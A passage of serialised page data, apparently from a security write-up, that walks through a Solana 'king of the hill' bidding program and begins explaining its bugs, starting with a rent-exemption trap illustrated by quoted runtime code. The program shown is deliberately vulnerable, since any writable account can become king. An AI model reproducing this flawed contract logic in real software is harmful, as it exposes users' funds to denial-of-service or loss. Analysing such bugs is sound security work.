king.\n",{"type":23,"tag":41,"props":71487,"children":71488},{"class":43,"line":930},[71489,71493,71497],{"type":23,"tag":41,"props":71490,"children":71491},{"style":70},[71492],{"type":28,"value":23116},{"type":23,"tag":41,"props":71494,"children":71495},{"style":64},[71496],{"type":28,"value":3723},{"type":23,"tag":41,"props":71498,"children":71499},{"style":70},[71500],{"type":28,"value":20247},{"type":23,"tag":41,"props":71502,"children":71503},{"class":43,"line":939},[71504,71508,71513,71517,71521,71525,71529],{"type":23,"tag":41,"props":71505,"children":71506},{"style":64},[71507],{"type":28,"value":20830},{"type":23,"tag":41,"props":71509,"children":71510},{"style":858},[71511],{"type":28,"value":71512}," new_king",{"type":23,"tag":41,"props":71514,"children":71515},{"style":170},[71516],{"type":28,"value":1474},{"type":23,"tag":41,"props":71518,"children":71519},{"style":94},[71520],{"type":28,"value":25397},{"type":23,"tag":41,"props":71522,"children":71523},{"style":70},[71524],{"type":28,"value":22909},{"type":23,"tag":41,"props":71526,"children":71527},{"style":94},[71528],{"type":28,"value":22914},{"type":23,"tag":41,"props":71530,"children":71531},{"style":70},[71532],{"type":28,"value":6136},{"type":23,"tag":41,"props":71534,"children":71535},{"class":43,"line":947},[71536],{"type":23,"tag":41,"props":71537,"children":71538},{"emptyLinePlaceholder":18},[71539],{"type":28,"value":82},{"type":23,"tag":41,"props":71541,"children":71542},{"class":43,"line":985},[71543,71547,71551],{"type":23,"tag":41,"props":71544,"children":71545},{"style":70},[71546],{"type":28,"value":23116},{"type":23,"tag":41,"props":71548,"children":71549},{"style":64},[71550],{"type":28,"value":3723},{"type":23,"tag":41,"props":71552,"children":71553},{"style":70},[71554],{"type":28,"value":20247},{"type":23,"tag":41,"props":71556,"children":71557},{"class":43,"line":1058},[71558,71562,71566,71570,71574,71578,71582],{"type":23,"tag":41,"props":71559,"children":71560},{"style":64},[71561],{"type":28,"value":20830},{"type":23,"tag":41,"props":71563,"children":71564},{"style":858},[71565],{"type":28,"value":42232},{"type":23,"tag":41,"props":71567,"children":71568},{"style":170},[71569],{"type":28,"value":1474},{"type":23,"tag":41,"props":71571,"children":71572},{"style":94},[71573],{"type":28,"value":23145},{"type":23,"tag":41,"props":71575,"children":71576},{"style":70},[71577],{"type":28,"value":22909},{"type":23,"tag":41,"props":71579,"children":71580},{"style":94},[71581],{"type":28,"value":22914},{"type":23,"tag":41,"props":71583,"children":71584},{"style":70},[71585],{"type":28,"value":6136},{"type":23,"tag":41,"props":71587,"children":71588},{"class":43,"line":1084},[71589],{"type":23,"tag":41,"props":71590,"children":71591},{"style":70},[71592],{"type":28,"value":201},{"type":23,"tag":41,"props":71594,"children":71595},{"class":43,"line":1102},[71596],{"type":23,"tag":41,"props":71597,"children":71598},{"emptyLinePlaceholder":18},[71599],{"type":28,"value":82},{"type":23,"tag":41,"props":71601,"children":71602},{"class":43,"line":1110},[71603],{"type":23,"tag":41,"props":71604,"children":71605},{"style":70},[71606],{"type":28,"value":71607},"#[program]\n",{"type":23,"tag":41,"props":71609,"children":71610},{"class":43,"line":1118},[71611,71615,71620],{"type":23,"tag":41,"props":71612,"children":71613},{"style":64},[71614],{"type":28,"value":13685},{"type":23,"tag":41,"props":71616,"children":71617},{"style":64},[71618],{"type":28,"value":71619}," mod",{"type":23,"tag":41,"props":71621,"children":71622},{"style":70},[71623],{"type":28,"value":71624}," king_of_the_sol {\n",{"type":23,"tag":41,"props":71626,"children":71627},{"class":43,"line":1137},[71628,71632,71636,71641,71645,71649,71653,71657,71661,71666,71670,71675,71679,71683,71687,71691,71695],{"type":23,"tag":41,"props":71629,"children":71630},{"style":64},[71631],{"type":28,"value":20830},{"type":23,"tag":41,"props":71633,"children":71634},{"style":64},[71635],{"type":28,"value":13690},{"type":23,"tag":41,"props":71637,"children":71638},{"style":114},[71639],{"type":28,"value":71640}," change_king",{"type":23,"tag":41,"props":71642,"children":71643},{"style":70},[71644],{"type":28,"value":1737},{"type":23,"tag":41,"props":71646,"children":71647},{"style":858},[71648],{"type":28,"value":20269},{"type":23,"tag":41,"props":71650,"children":71651},{"style":170},[71652],{"type":28,"value":1474},{"type":23,"tag":41,"props":71654,"children":71655},{"style":94},[71656],{"type":28,"value":20278},{"type":23,"tag":41,"props":71658,"children":71659},{"style":70},[71660],{"type":28,"value":1012},{"type":23,"tag":41,"props":71662,"children":71663},{"style":94},[71664],{"type":28,"value":71665},"ChangeKing",{"type":23,"tag":41,"props":71667,"children":71668},{"style":70},[71669],{"type":28,"value":6629},{"type":23,"tag":41,"props":71671,"children":71672},{"style":858},[71673],{"type":28,"value":71674},"bid_amount",{"type":23,"tag":41,"props":71676,"children":71677},{"style":170},[71678],{"type":28,"value":1474},{"type":23,"tag":41,"props":71680,"children":71681},{"style":94},[71682],{"type":28,"value":5860},{"type":23,"tag":41,"props":71684,"children":71685},{"style":70},[71686],{"type":28,"value":866},{"type":23,"tag":41,"props":71688,"children":71689},{"style":170},[71690],{"type":28,"value":2453},{"type":23,"tag":41,"props":71692,"children":71693},{"style":94},[71694],{"type":28,"value":13756},{"type":23,"tag":41,"props":71696,"children":71697},{"style":70},[71698],{"type":28,"value":20320},{"type":23,"tag":41,"props":71700,"children":71701},{"class":43,"line":1163},[71702],{"type":23,"tag":41,"props":71703,"children":71704},{"style":48},[71705],{"type":28,"value":71706},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":41,"props":71708,"children":71709},{"class":43,"line":1188},[71710,71714,71718,71722,71726,71730,71734,71738,71742,71747,71751,71756,71760,71764],{"type":23,"tag":41,"props":71711,"children":71712},{"style":114},[71713],{"type":28,"value":64443},{"type":23,"tag":41,"props":71715,"children":71716},{"style":70},[71717],{"type":28,"value":1737},{"type":23,"tag":41,"props":71719,"children":71720},{"style":858},[71721],{"type":28,"value":71674},{"type":23,"tag":41,"props":71723,"children":71724},{"style":170},[71725],{"type":28,"value":8301},{"type":23,"tag":41,"props":71727,"children":71728},{"style":858},[71729],{"type":28,"value":25842},{"type":23,"tag":41,"props":71731,"children":71732},{"style":170},[71733],{"type":28,"value":706},{"type":23,"tag":41,"props":71735,"children":71736},{"style":70},[71737],{"type":28,"value":14667},{"type":23,"tag":41,"props":71739,"children":71740},{"style":170},[71741],{"type":28,"value":706},{"type":23,"tag":41,"props":71743,"children":71744},{"style":70},[71745],{"type":28,"value":71746},"throne",{"type":23,"tag":41,"props":71748,"children":71749},{"style":170},[71750],{"type":28,"value":706},{"type":23,"tag":41,"props":71752,"children":71753},{"style":70},[71754],{"type":28,"value":71755},"last_bid_amount ",{"type":23,"tag":41,"props":71757,"children":71758},{"style":170},[71759],{"type":28,"value":377},{"type":23,"tag":41,"props":71761,"children":71762},{"style":164},[71763],{"type":28,"value":178},{"type":23,"tag":41,"props":71765,"children":71766},{"style":70},[71767],{"type":28,"value":3825},{"type":23,"tag":41,"props":71769,"children":71770},{"class":43,"line":1979},[71771,71776],{"type":23,"tag":41,"props":71772,"children":71773},{"style":114},[71774],{"type":28,"value":71775},"        transfer_from_signer",{"type":23,"tag":41,"props":71777,"children":71778},{"style":70},[71779],{"type":28,"value":3461},{"type":23,"tag":41,"props":71781,"children":71782},{"class":43,"line":2002},[71783,71787,71791,71795,71799,71803],{"type":23,"tag":41,"props":71784,"children":71785},{"style":170},[71786],{"type":28,"value":7684},{"type":23,"tag":41,"props":71788,"children":71789},{"style":858},[71790],{"type":28,"value":20269},{"type":23,"tag":41,"props":71792,"children":71793},{"style":170},[71794],{"type":28,"value":706},{"type":23,"tag":41,"props":71796,"children":71797},{"style":70},[71798],{"type":28,"value":14667},{"type":23,"tag":41,"props":71800,"children":71801},{"style":170},[71802],{"type":28,"value":706},{"type":23,"tag":41,"props":71804,"children":71805},{"style":70},[71806],{"type":28,"value":71807},"payer,\n",{"type":23,"tag":41,"props":71809,"children":71810},{"class":43,"line":3835},[71811,71815,71819,71823,71827,71831,71835,71839,71844],{"type":23,"tag":41,"props":71812,"children":71813},{"style":170},[71814],{"type":28,"value":7684},{"type":23,"tag":41,"props":71816,"children":71817},{"style":858},[71818],{"type":28,"value":20269},{"type":23,"tag":41,"props":71820,"children":71821},{"style":170},[71822],{"type":28,"value":706},{"type":23,"tag":41,"props":71824,"children":71825},{"style":70},[71826],{"type":28,"value":14667},{"type":23,"tag":41,"props":71828,"children":71829},{"style":170},[71830],{"type":28,"value":706},{"type":23,"tag":41,"props":71832,"children":71833},{"style":70},[71834],{"type":28,"value":71746},{"type":23,"tag":41,"props":71836,"children":71837},{"style":170},[71838],{"type":28,"value":706},{"type":23,"tag":41,"props":71840,"children":71841},{"style":114},[71842],{"type":28,"value":71843},"to_account_info",{"type":23,"tag":41,"props":71845,"children":71846},{"style":70},[71847],{"type":28,"value":3489},{"type":23,"tag":41,"props":71849,"children":71850},{"class":43,"line":3895},[71851,71856],{"type":23,"tag":41,"props":71852,"children":71853},{"style":858},[71854],{"type":28,"value":71855},"            bid_amount",{"type":23,"tag":41,"props":71857,"children":71858},{"style":70},[71859],{"type":28,"value":3506},{"type":23,"tag":41,"props":71861,"children":71862},{"class":43,"line":9044},[71863,71868,71872],{"type":23,"tag":41,"props":71864,"children":71865},{"style":70},[71866],{"type":28,"value":71867},"        )",{"type":23,"tag":41,"props":71869,"children":71870},{"style":170},[71871],{"type":28,"value":3155},{"type":23,"tag":41,"props":71873,"children":71874},{"style":70},[71875],{"type":28,"value":183},{"type":23,"tag":41,"props":71877,"children":71878},{"class":43,"line":9061},[71879],{"type":23,"tag":41,"props":71880,"children":71881},{"emptyLinePlaceholder":18},[71882],{"type":28,"value":82},{"type":23,"tag":41,"props":71884,"children":71885},{"class":43,"line":9106},[71886],{"type":23,"tag":41,"props":71887,"children":71888},{"style":48},[71889],{"type":28,"value":71890},"        // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":41,"props":71892,"children":71893},{"class":43,"line":9212},[71894,71898,71903,71907,71911,71915,71919,71923,71927,71931,71935,71939,71943,71948,71952,71956,71961],{"type":23,"tag":41,"props":71895,"children":71896},{"style":64},[71897],{"type":28,"value":3066},{"type":23,"tag":41,"props":71899,"children":71900},{"style":858},[71901],{"type":28,"value":71902}," to_reimburse",{"type":23,"tag":41,"props":71904,"children":71905},{"style":170},[71906],{"type":28,"value":3017},{"type":23,"tag":41,"props":71908,"children":71909},{"style":70},[71910],{"type":28,"value":142},{"type":23,"tag":41,"props":71912,"children":71913},{"style":858},[71914],{"type":28,"value":20269},{"type":23,"tag":41,"props":71916,"children":71917},{"style":170},[71918],{"type":28,"value":706},{"type":23,"tag":41,"props":71920,"children":71921},{"style":70},[71922],{"type":28,"value":14667},{"type":23,"tag":41,"props":71924,"children":71925},{"style":170},[71926],{"type":28,"value":706},{"type":23,"tag":41,"props":71928,"children":71929},{"style":70},[71930],{"type":28,"value":71746},{"type":23,"tag":41,"props":71932,"children":71933},{"style":170},[71934],{"type":28,"value":706},{"type":23,"tag":41,"props":71936,"children":71937},{"style":70},[71938],{"type":28,"value":71755},{"type":23,"tag":41,"props":71940,"children":71941},{"style":170},[71942],{"type":28,"value":377},{"type":23,"tag":41,"props":71944,"children":71945},{"style":164},[71946],{"type":28,"value":71947}," 9500",{"type":23,"tag":41,"props":71949,"children":71950},{"style":70},[71951],{"type":28,"value":866},{"type":23,"tag":41,"props":71953,"children":71954},{"style":170},[71955],{"type":28,"value":4579},{"type":23,"tag":41,"props":71957,"children":71958},{"style":164},[71959],{"type":28,"value":71960}," 10000",{"type":23,"tag":41,"props":71962,"children":71963},{"style":70},[71964],{"type":28,"value":183},{"type":23,"tag":41,"props":71966,"children":71967},{"class":43,"line":23496},[71968,71973],{"type":23,"tag":41,"props":71969,"children":71970},{"style":114},[71971],{"type":28,"value":71972},"        transfer_from_pda",{"type":23,"tag":41,"props":71974,"children":71975},{"style":70},[71976],{"type":28,"value":3461},{"type":23,"tag":41,"props":71978,"children":71979},{"class":43,"line":23531},[71980,71984,71988,71992,71996,72000,72004,72008,72012],{"type":23,"tag":41,"props":71981,"children":71982},{"style":170},[71983],{"type":28,"value":7684},{"type":23,"tag":41,"props":71985,"children":71986},{"style":858},[71987],{"type":28,"value":20269},{"type":23,"tag":41,"props":71989,"children":71990},{"style":170},[71991],{"type":28,"value":706},{"type":23,"tag":41,"props":71993,"children":71994},{"style":70},[71995],{"type":28,"value":14667},{"type":23,"tag":41,"props":71997,"children":71998},{"style":170},[71999],{"type":28,"value":706},{"type":23,"tag":41,"props":72001,"children":72002},{"style":70},[72003],{"type":28,"value":71746},{"type":23,"tag":41,"props":72005,"children":72006},{"style":170},[72007],{"type":28,"value":706},{"type":23,"tag":41,"props":72009,"children":72010},{"style":114},[72011],{"type":28,"value":71843},{"type":23,"tag":41,"props":72013,"children":72014},{"style":70},[72015],{"type":28,"value":3489},{"type":23,"tag":41,"props":72017,"children":72018},{"class":43,"line":23539},[72019,72023,72027,72031,72035,72039],{"type":23,"tag":41,"props":72020,"children":72021},{"style":170},[72022],{"type":28,"value":7684},{"type":23,"tag":41,"props":72024,"children":72025},{"style":858},[72026],{"type":28,"value":20269},{"type":23,"tag":41,"props":72028,"children":72029},{"style":170},[72030],{"type":28,"value":706},{"type":23,"tag":41,"props":72032,"children":72033},{"style":70},[72034],{"type":28,"value":14667},{"type":23,"tag":41,"props":72036,"children":72037},{"style":170},[72038],{"type":28,"value":706},{"type":23,"tag":41,"props":72040,"children":72041},{"style":70},[72042],{"type":28,"value":72043},"old_king,\n",{"type":23,"tag":41,"props":72045,"children":72046},{"class":43,"line":23547},[72047,72052],{"type":23,"tag":41,"props":72048,"children":72049},{"style":858},[72050],{"type":28,"value":72051},"            to_reimburse",{"type":23,"tag":41,"props":72053,"children":72054},{"style":70},[72055],{"type":28,"value":3506},{"type":23,"tag":41,"props":72057,"children":72058},{"class":43,"line":23556},[72059,72063,72067],{"type":23,"tag":41,"props":72060,"children":72061},{"style":70},[72062],{"type":28,"value":71867},{"type":23,"tag":41,"props":72064,"children":72065},{"style":170},[72066],{"type":28,"value":3155},{"type":23,"tag":41,"props":72068,"children":72069},{"style":70},[72070],{"type":28,"value":183},{"type":23,"tag":41,"props":72072,"children":72073},{"class":43,"line":23598},[72074],{"type":23,"tag":41,"props":72075,"children":72076},{"emptyLinePlaceholder":18},[72077],{"type":28,"value":82},{"type":23,"tag":41,"props":72079,"children":72080},{"class":43,"line":23631},[72081],{"type":23,"tag":41,"props":72082,"children":72083},{"style":48},[72084],{"type":28,"value":72085},"        // Set new king\n",{"type":23,"tag":41,"props":72087,"children":72088},{"class":43,"line":23639},[72089,72093,72097,72101,72105,72109,72113,72118,72122,72126,72130,72134,72138,72143,72147,72152],{"type":23,"tag":41,"props":72090,"children":72091},{"style":858},[72092],{"type":28,"value":26185},{"type":23,"tag":41,"props":72094,"children":72095},{"style":170},[72096],{"type":28,"value":706},{"type":23,"tag":41,"props":72098,"children":72099},{"style":70},[72100],{"type":28,"value":14667},{"type":23,"tag":41,"props":72102,"children":72103},{"style":170},[72104],{"type":28,"value":706},{"type":23,"tag":41,"props":72106,"children":72107},{"style":70},[72108],{"type":28,"value":71746},{"type":23,"tag":41,"props":72110,"children":72111},{"style":170},[72112],{"type":28,"value":706},{"type":23,"tag":41,"props":72114,"children":72115},{"style":70},[72116],{"type":28,"value":72117},"king ",{"type":23,"tag":41,"props":72119,"children":72120},{"style":170},[72121],{"type":28,"value":2381},{"type":23,"tag":41,"props":72123,"children":72124},{"style":858},[72125],{"type":28,"value":25842},{"type":23,"tag":41,"props":72127,"children":72128},{"style":170},[72129],{"type":28,"value":706},{"type":23,"tag":41,"props":72131,"children":72132},{"style":70},[72133],{"type":28,"value":14667},{"type":23,"tag":41,"props":72135,"children":72136},{"style":170},[72137],{"type":28,"value":706},{"type":23,"tag":41,"props":72139,"children":72140},{"style":70},[72141],{"type":28,"value":72142},"new_king",{"type":23,"tag":41,"props":72144,"children":72145},{"style":170},[72146],{"type":28,"value":706},{"type":23,"tag":41,"props":72148,"children":72149},{"style":114},[72150],{"type":28,"value":72151},"key",{"type":23,"tag":41,"props":72153,"children":72154},{"style":70},[72155],{"type":28,"value":3669},{"type":23,"tag":41,"props":72157,"children":72158},{"class":43,"line":23647},[72159,72163,72167,72171,72175,72179,72183,72187,72191,72196],{"type":23,"tag":41,"props":72160,"children":72161},{"style":858},[72162],{"type":28,"value":26185},{"type":23,"tag":41,"props":72164,"children":72165},{"style":170},[72166],{"type":28,"value":706},{"type":23,"tag":41,"props":72168,"children":72169},{"style":70},[72170],{"type":28,"value":14667},{"type":23,"tag":41,"props":72172,"children":72173},{"style":170},[72174],{"type":28,"value":706},{"type":23,"tag":41,"props":72176,"children":72177},{"style":70},[72178],{"type":28,"value":71746},{"type":23,"tag":41,"props":72180,"children":72181},{"style":170},[72182],{"type":28,"value":706},{"type":23,"tag":41,"props":72184,"children":72185},{"style":70},[72186],{"type":28,"value":71755},{"type":23,"tag":41,"props":72188,"children":72189},{"style":170},[72190],{"type":28,"value":2381},{"type":23,"tag":41,"props":72192,"children":72193},{"style":858},[72194],{"type":28,"value":72195}," bid_amount",{"type":23,"tag":41,"props":72197,"children":72198},{"style":70},[72199],{"type":28,"value":183},{"type":23,"tag":41,"props":72201,"children":72202},{"class":43,"line":23656},[72203,72207,72211,72215,72219,72223,72227,72232,72236,72241,72245,72249,72253,72257,72262,72266,72270],{"type":23,"tag":41,"props":72204,"children":72205},{"style":858},[72206],{"type":28,"value":26185},{"type":23,"tag":41,"props":72208,"children":72209},{"style":170},[72210],{"type":28,"value":706},{"type":23,"tag":41,"props":72212,"children":72213},{"style":70},[72214],{"type":28,"value":14667},{"type":23,"tag":41,"props":72216,"children":72217},{"style":170},[72218],{"type":28,"value":706},{"type":23,"tag":41,"props":72220,"children":72221},{"style":70},[72222],{"type":28,"value":71746},{"type":23,"tag":41,"props":72224,"children":72225},{"style":170},[72226],{"type":28,"value":706},{"type":23,"tag":41,"props":72228,"children":72229},{"style":70},[72230],{"type":28,"value":72231},"last_time ",{"type":23,"tag":41,"props":72233,"children":72234},{"style":170},[72235],{"type":28,"value":2381},{"type":23,"tag":41,"props":72237,"children":72238},{"style":94},[72239],{"type":28,"value":72240}," Clock",{"type":23,"tag":41,"props":72242,"children":72243},{"style":170},[72244],{"type":28,"value":3479},{"type":23,"tag":41,"props":72246,"children":72247},{"style":114},[72248],{"type":28,"value":16340},{"type":23,"tag":41,"props":72250,"children":72251},{"style":70},[72252],{"type":28,"value":13873},{"type":23,"tag":41,"props":72254,"children":72255},{"style":170},[72256],{"type":28,"value":3132},{"type":23,"tag":41,"props":72258,"children":72259},{"style":70},[72260],{"type":28,"value":72261},"unix_timestamp ",{"type":23,"tag":41,"props":72263,"children":72264},{"style":64},[72265],{"type":28,"value":8838},{"type":23,"tag":41,"props":72267,"children":72268},{"style":94},[72269],{"type":28,"value":5860},{"type":23,"tag":41,"props":72271,"children":72272},{"style":70},[72273],{"type":28,"value":183},{"type":23,"tag":41,"props":72275,"children":72276},{"class":43,"line":23732},[72277],{"type":23,"tag":41,"props":72278,"children":72279},{"emptyLinePlaceholder":18},[72280],{"type":28,"value":82},{"type":23,"tag":41,"props":72282,"children":72283},{"class":43,"line":23765},[72284,72288],{"type":23,"tag":41,"props":72285,"children":72286},{"style":94},[72287],{"type":28,"value":14803},{"type":23,"tag":41,"props":72289,"children":72290},{"style":70},[72291],{"type":28,"value":14330},{"type":23,"tag":41,"props":72293,"children":72294},{"class":43,"line":23773},[72295],{"type":23,"tag":41,"props":72296,"children":72297},{"style":70},[72298],{"type":28,"value":192},{"type":23,"tag":41,"props":72300,"children":72301},{"class":43,"line":23781},[72302],{"type":23,"tag":41,"props":72303,"children":72304},{"style":70},[72305],{"type":28,"value":201},{"type":23,"tag":24,"props":72307,"children":72308},{},[72309],{"type":28,"value":72310},"Note this comment:",{"type":23,"tag":518,"props":72312,"children":72313},{},[72314],{"type":23,"tag":24,"props":72315,"children":72316},{},[72317],{"type":28,"value":72318},"any writable account is allowed as a new king.",{"type":23,"tag":24,"props":72320,"children":72321},{},[72322],{"type":28,"value":72323},"...Is our assumption correct?",{"type":23,"tag":446,"props":72325,"children":72327},{"id":72326},"the-bugs-lurking-beneath",[72328],{"type":28,"value":72329},"The Bugs Lurking Beneath",{"type":23,"tag":546,"props":72331,"children":72333},{"id":72332},"bug-1-the-rent-exemption-trap",[72334],{"type":28,"value":72335},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":24,"props":72337,"children":72338},{},[72339,72341,72346],{"type":28,"value":72340},"On Solana, all accounts must maintain a ",{"type":23,"tag":510,"props":72342,"children":72343},{},[72344],{"type":28,"value":72345},"minimum balance",{"type":28,"value":72347}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":417,"props":72349,"children":72350},{},[72351,72366],{"type":23,"tag":421,"props":72352,"children":72353},{},[72354,72359,72360],{"type":23,"tag":510,"props":72355,"children":72356},{},[72357],{"type":28,"value":72358},"Uninitialized",{"type":28,"value":1418},{"type":23,"tag":37,"props":72361,"children":72363},{"className":72362},[],[72364],{"type":28,"value":72365},"lamports = 0",{"type":23,"tag":421,"props":72367,"children":72368},{},[72369,72374,72375],{"type":23,"tag":510,"props":72370,"children":72371},{},[72372],{"type":28,"value":72373},"Initialized",{"type":28,"value":1418},{"type":23,"tag":37,"props":72376,"children":72378},{"className":72377},[],[72379],{"type":28,"value":72380},"lamports >= rent-exempt threshold",{"type":23,"tag":24,"props":72382,"children":72383},{},[72384,72386,72391],{"type":28,"value":72385},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":510,"props":72387,"children":72388},{},[72389],{"type":28,"value":72390},"account metadata",{"type":28,"value":72392}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":24,"props":72394,"children":72395},{},[72396,72398,72404],{"type":28,"value":72397},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":37,"props":72399,"children":72401},{"className":72400},[],[72402],{"type":28,"value":72403},"data.len() == 0",{"type":28,"value":72405}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":24,"props":72407,"children":72408},{},[72409,72411,72417],{"type":28,"value":72410},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":458,"props":72412,"children":72415},{"href":72413,"rel":72414},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[462],[72416],{"type":28,"value":47578},{"type":28,"value":706},{"type":23,"tag":31,"props":72419,"children":72421},{"className":2982,"code":72420,"language":2981,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[72422],{"type":23,"tag":37,"props":72423,"children":72424},{"__ignoreMap":7},[72425,72509,72526,72572,72592,72613,72634,72649,72666,72710,72729,72750,72771,72787,72795,72828,72835,72842,72849,72856],{"type":23,"tag":41,"props":72426,"children":72427},{"class":43,"line":44},[72428,72433,72438,72442,72446,72450,72454,72459,72463,72467,72472,72476,72481,72485,72489,72493,72497,72501,72505],{"type":23,"tag":41,"props":72429,"children":72430},{"style":64},[72431],{"type":28,"value":72432},"    fn",{"type":23,"tag":41,"props":72434,"children":72435},{"style":114},[72436],{"type":28,"value":72437}," transition_allowed",{"type":23,"tag":41,"props":72439,"children":72440},{"style":70},[72441],{"type":28,"value":1737},{"type":23,"tag":41,"props":72443,"children":72444},{"style":170},[72445],{"type":28,"value":855},{"type":23,"tag":41,"props":72447,"children":72448},{"style":64},[72449],{"type":28,"value":13708},{"type":23,"tag":41,"props":72451,"children":72452},{"style":70},[72453],{"type":28,"value":970},{"type":23,"tag":41,"props":72455,"children":72456},{"style":858},[72457],{"type":28,"value":72458},"pre_rent_state",{"type":23,"tag":41,"props":72460,"children":72461},{"style":170},[72462],{"type":28,"value":1474},{"type":23,"tag":41,"props":72464,"children":72465},{"style":170},[72466],{"type":28,"value":7140},{"type":23,"tag":41,"props":72468,"children":72469},{"style":94},[72470],{"type":28,"value":72471},"RentState",{"type":23,"tag":41,"props":72473,"children":72474},{"style":70},[72475],{"type":28,"value":970},{"type":23,"tag":41,"props":72477,"children":72478},{"style":858},[72479],{"type":28,"value":72480},"post_rent_state",{"type":23,"tag":41,"props":72482,"children":72483},{"style":170},[72484],{"type":28,"value":1474},{"type":23,"tag":41,"props":72486,"children":72487},{"style":170},[72488],{"type":28,"value":7140},{"type":23,"tag":41,"props":72490,"children":72491},{"style":94},[72492],{"type":28,"value":72471},{"type":23,"tag":41,"props":72494,"children":72495},{"style":70},[72496],{"type":28,"value":866},{"type":23,"tag":41,"props":72498,"children":72499},{"style":170},[72500],{"type":28,"value":2453},{"type":23,"tag":41,"props":72502,"children":72503},{"style":94},[72504],{"type":28,"value":12047},{"type":23,"tag":41,"props":72506,"children":72507},{"style":70},[72508],{"type":28,"value":102},{"type":23,"tag":41,"props":72510,"children":72511},{"class":43,"line":54},[72512,72517,72522],{"type":23,"tag":41,"props":72513,"children":72514},{"style":58},[72515],{"type":28,"value":72516},"        match",{"type":23,"tag":41,"props":72518,"children":72519},{"style":858},[72520],{"type":28,"value":72521}," post_rent_state",{"type":23,"tag":41,"props":72523,"children":72524},{"style":70},[72525],{"type":28,"value":102},{"type":23,"tag":41,"props":72527,"children":72528},{"class":43,"line":76},[72529,72534,72538,72542,72546,72551,72555,72560,72564,72568],{"type":23,"tag":41,"props":72530,"children":72531},{"style":94},[72532],{"type":28,"value":72533},"            RentState",{"type":23,"tag":41,"props":72535,"children":72536},{"style":170},[72537],{"type":28,"value":3479},{"type":23,"tag":41,"props":72539,"children":72540},{"style":94},[72541],{"type":28,"value":72358},{"type":23,"tag":41,"props":72543,"children":72544},{"style":170},[72545],{"type":28,"value":4271},{"type":23,"tag":41,"props":72547,"children":72548},{"style":94},[72549],{"type":28,"value":72550}," RentState",{"type":23,"tag":41,"props":72552,"children":72553},{"style":170},[72554],{"type":28,"value":3479},{"type":23,"tag":41,"props":72556,"children":72557},{"style":94},[72558],{"type":28,"value":72559},"RentExempt",{"type":23,"tag":41,"props":72561,"children":72562},{"style":170},[72563],{"type":28,"value":27752},{"type":23,"tag":41,"props":72565,"children":72566},{"style":64},[72567],{"type":28,"value":915},{"type":23,"tag":41,"props":72569,"children":72570},{"style":70},[72571],{"type":28,"value":3506},{"type":23,"tag":41,"props":72573,"children":72574},{"class":43,"line":85},[72575,72579,72583,72588],{"type":23,"tag":41,"props":72576,"children":72577},{"style":94},[72578],{"type":28,"value":72533},{"type":23,"tag":41,"props":72580,"children":72581},{"style":170},[72582],{"type":28,"value":3479},{"type":23,"tag":41,"props":72584,"children":72585},{"style":94},[72586],{"type":28,"value":72587},"RentPaying",{"type":23,"tag":41,"props":72589,"children":72590},{"style":70},[72591],{"type":28,"value":102},{"type":23,"tag":41,"props":72593,"children":72594},{"class":43,"line":105},[72595,72600,72604,72609],{"type":23,"tag":41,"props":72596,"children":72597},{"style":858},[72598],{"type":28,"value":72599},"                data_size",{"type":23,"tag":41,"props":72601,"children":72602},{"style":170},[72603],{"type":28,"value":1474},{"type":23,"tag":41,"props":72605,"children":72606},{"style":858},[72607],{"type":28,"value":72608}," post_data_size",{"type":23,"tag":41,"props":72610,"children":72611},{"style":70},[72612],{"type":28,"value":3506},{"type":23,"tag":41,"props":72614,"children":72615},{"class":43,"line":155},[72616,72621,72625,72630],{"type":23,"tag":41,"props":72617,"children":72618},{"style":858},[72619],{"type":28,"value":72620},"                lamports",{"type":23,"tag":41,"props":72622,"children":72623},{"style":170},[72624],{"type":28,"value":1474},{"type":23,"tag":41,"props":72626,"children":72627},{"style":858},[72628],{"type":28,"value":72629}," post_lamports",{"type":23,"tag":41,"props":72631,"children":72632},{"style":70},[72633],{"type":28,"value":3506},{"type":23,"tag":41,"props":72635,"children":72636},{"class":43,"line":186},[72637,72641,72645],{"type":23,"tag":41,"props":72638,"children":72639},{"style":70},[72640],{"type":28,"value":70589},{"type":23,"tag":41,"props":72642,"children":72643},{"style":170},[72644],{"type":28,"value":14813},{"type":23,"tag":41,"props":72646,"children":72647},{"style":70},[72648],{"type":28,"value":102},{"type":23,"tag":41,"props":72650,"children":72651},{"class":43,"line":195},[72652,72657,72662],{"type":23,"tag":41,"props":72653,"children":72654},{"style":58},[72655],{"type":28,"value":72656},"                match",{"type":23,"tag":41,"props":72658,"children":72659},{"style":858},[72660],{"type":28,"value":72661}," pre_rent_state",{"type":23,"tag":41,"props":72663,"children":72664},{"style":70},[72665],{"type":28,"value":102},{"type":23,"tag":41,"props":72667,"children":72668},{"class":43,"line":905},[72669,72674,72678,72682,72686,72690,72694,72698,72702,72706],{"type":23,"tag":41,"props":72670,"children":72671},{"style":94},[72672],{"type":28,"value":72673},"                    